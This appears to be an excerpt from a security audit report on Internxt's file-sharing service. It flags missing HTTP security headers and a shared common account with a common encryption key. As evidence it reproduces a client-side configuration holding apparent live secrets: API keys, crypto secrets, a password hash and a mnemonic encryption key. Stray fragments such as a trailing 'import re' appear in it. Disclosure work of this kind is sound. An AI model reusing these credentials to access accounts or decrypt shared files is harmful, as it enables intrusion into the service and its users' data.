X-Frame-Options header determines whether it is allowed to render page in a frame, iframe or object
(https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).
Content-Security-Policy increases security level of application’s users by enforcing policies on the web
browser defining what resources and action can be executed in the application’s context. It allows to block
e.g. Cross-Site Scripting attacks (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).
Strict-Transport-Security header instructs browser to use only HTTPS protocol
(https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security).
Referrer-Policy header defines when web browser can pass HTTP header “Referer”
(https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy).
<!doctype html>
[…]
LOCATION
• https://drive.internxt.com/app/*
• https://send.internxt.com/
RECOMMENDATION
The application should use the missing security headers.
SUMMARY
send.internxt.com uses the common account – hello@internxt.com – to share the resources. Using the
common account may have a security-related consequences. The typical account operations such as deleting
account, resetting password, deleting bucket etc. may lead to the serious vulnerabilities (see SECURITUM-
225922-017: send.internxt.com – DoS attacks).
If the request would work as expected it could lead to the vulnerability – any user could get a list of the shared
files encrypted using the common encryption key:
[…]
{NODE_ENV:"production",PUBLIC_URL:"",WDS_SOCKET_HOST:void 0,WDS_SOCKET_PATH:void
0,WDS_SOCKET_PORT:void
0,FAST_REFRESH:!0,REACT_APP_SEGMENT_KEY:"mUOuZ8mVgto8vLHmRYsRHES2EleteXGO",REACT_APP_CRYPTO_SECRE
T:"6KYQBP847D4ATSFA",REACT_APP_STRIPE_PK:"pk_live_Rl9YfdPjEGxGUDh9BK5rgI3Y",REACT_APP_STRIPE_TEST
_PK:"pk_test_vpHlkSQ7DhmzSWHEbmfT1lIJ",REACT_APP_API_URL:"https://send.internxt.com",REACT_APP_MA
GIC_IV:"d139cb9a2cd17092e79e1861cf9d7023",REACT_APP_MAGIC_SALT:"38dce0391b49efba88dbc8c39ebf868f0
267eb110bb0012ab27dc52a528d61b1d1ed9d76f400ff58e3240028442b1eab9bb84e111d9dadd997982dbde9dbd25e",
REACT_APP_CRYPTO_SECRET2:"8Q8VMUE3BJZV87GT",REACT_APP_PROXY:"https://proxy01.api.internxt.com",RE
ACT_APP_NETWORK_URL:"https://api.internxt.com",REACT_APP_SEND_USER:"hello@internxt.com",REACT_APP
_SEND_PASS:"$2a$08$nXB0ltFW3MKt3VsmEpd4TOWn8H2CW0WR/8aW1IZS8HOiqIc0sjZGC",REACT_APP_SEND_ENCRYPTI
ON_KEY:"present egg buffalo choose risk burden torch lens stone own reduce maze thunder practice
relax marine usual marriage rely friend destroy bird reason
write",REACT_APP_SEND_BUCKET_ID:"51a30c6558659f35252af233",REACT_APP_SENTRY_DSN:"https://6763343c
efd042dd82e81f1dd902059f@sentry.internxt.com/5"})
[…]
LOCATION
send.internxt.com
RECOMMENDATION
The typical an account operations should be considered in the context of using the common account
(hello@internxt.com). Any critical operations such as deleting account, resetting password, deleting bucket,
listing files etc. should be blocked for the common user.
import re